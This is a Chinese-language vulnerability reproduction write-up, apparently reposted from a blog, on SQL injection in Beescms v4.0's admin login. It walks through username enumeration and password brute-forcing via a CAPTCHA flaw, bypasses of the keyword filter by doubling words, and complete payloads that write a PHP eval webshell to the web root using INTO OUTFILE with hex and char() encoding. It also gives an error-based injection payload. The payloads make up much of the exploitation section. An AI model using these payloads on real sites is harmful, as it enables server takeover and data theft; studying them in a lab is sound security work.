Beescms_v4.0 sql注入漏洞分析


Beescms_v4.0 sql注入漏洞分析

一、漏洞描述

Beescms v4.0由於后台登錄驗證碼設計缺陷以及代碼防護缺陷導致存在bypass全局防護的SQL注入。

二、漏洞環境搭建

1、官方下載Beescms v4.0,下載地址: http://beescms.com/cxxz.html

2、解壓壓縮文件,然后把文件放到phpstudy的網站根目錄

3、瀏覽器訪問http://192.168.10.171/beescms/install,開始安裝

  

4、一直下一步,出現如下界面,輸入數據庫賬戶密碼

  

5、成功安裝

  

6、修改mysql.ini 文件,在[mysqld] 下添加條目: secure_file_priv =,保存然后重啟phpstudy,不然用mysql寫入文件會報錯。

  

三、漏洞影響版本

Beescms v4.0

四、漏洞復現

1、瀏覽器訪問后台頁面http://192.168.10.171/beescms/admin/

  

2、任意輸入用戶名和密碼,看到提示“不存在該管理用戶”,可以枚舉用戶名,然后根據枚舉出來的用戶名爆破密碼

  

  

3、burpsuit枚舉用戶名,可以看到該驗證碼存在設計缺陷漏洞,一次驗證后在不刷新的情況下可以多次提交請求,最終導致攻擊者可以進行模糊測試(暴力枚舉)。

  

4、根據枚舉出來的用戶名,然后枚舉密碼,可以看到成功枚舉密碼

  

5、在用戶名處輸入單引號,報錯,說明存在sql注入漏洞

  

  

6、查看源碼,發現使用f1_value函數和f1_html函數對輸入的用戶名和密碼進行過濾

  

7、跟進f1_value函數,發現f1_value函數對輸入的關鍵字進行了過濾,可以看到,幾乎常見的SQL關鍵字都被過濾掉了。

  

8、跟進f1_html函數,發現使用htmlspecialchars函數對輸入的特殊符號進行html實體化轉義,主要用於防御XSS漏洞

  

9、百度搜索htmlspecialchars函數,發現htmlspecialchars函數默認情況下只對雙引號進行編碼,可以看到這個版本的cms使用默認對參數進行過濾處理,此處存在單引號引入的漏洞。

  

10、繼續瀏覽代碼,發現登錄驗證函數check_login

  

11、跟進check_login函數,發現check_login函數在驗證用戶是先驗證用戶名,然后驗證密碼是否正確,該處驗證邏輯存在漏洞。

  

12、手工模糊測試

12.1手工測試發現union select等關鍵字被過濾

  

12.2通過上面的分析源碼,發現bypass的方法

union => uni union on

select => selselectect

  

12.3、猜解SQL查詢語句中的字段數,根據如下圖所示,判斷出SQL查詢語句中的字段數為5

  

12.4、嘗試通過SQL注入getshell

12.4.1、寫入一句話到目標網站根目錄下,payload如下:

admin%27 un union ion selselectect 1,2,3,4,<?php @eval($_POST[cmd]);?> into  outfile 'C:/phpStudy/WWW/beescms/shell.php'#

12.4.2、在burpsuit抓包,修改包並重放,提示如下錯誤,根據返回的數據包可以看到由於htmlspecialchars函數對輸入的特殊符號進行html實體化轉義,還有就是into、outfile關鍵字被過濾

  

12.4.3、手工測試bypass關鍵字過濾防護

outfile => outoutfilefile

into => in into

  

12.4.4、通過上面的分析,發現php函數htmlspecialchars()對輸入中含有的特殊符號進行html實體化轉義,導致不能寫shell到目標服務器上。可以通過利用mysql注入的一個特性就可以達到注入效果(即對shell部分進行Hex編碼),或者用mysql函數char()就可以繞過這里的限制。

方法一、Hex編碼

1、 對shell部分進行編碼

  

2、 寫入shell的payload為:注意:記得在編碼轉換的時候前面加0x或者直接用unhex函數

unhex(3c3f70687020406576616c28245f504f53545b636d645d293b3f3e),但是本次實驗用unhex函數一直失敗

admin' uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e  in into  outoutfilefile 'C:/phpStudy/WWW/beescms/shell.php'#

3、burp修改數據包,成功寫入shell

  

4、菜刀連接

  

方法二、使用char函數

1、mysql內置函數char()可以將里邊的ascii碼參數轉換為字符串,使用python實現快速轉換

  

2、構造payload,payload為:

admin' uni union on selselectect null,null,null,null,char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 99, 109, 100, 93, 41, 59, 63, 62)  in into  outoutfilefile 'C:/phpStudy/WWW/beescms/cmd.php'#

3、burp修改數據包,成功寫入shell

  

4、菜刀連接

  

后記:

1、經過測試,發現user字段除了存在布爾注入,還存在報錯注入

2、構造payload,payload如下:

admin' a and nd extractvalue(1,concat(0x7e,(select user()),0x7e))#

  

 

 

 

---------------------------------------------------------------------------

參考: https://www.ohlinge.cn/php/beescms_sqli.html

https://www.ohlinge.cn/php/beescms_login_sql.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM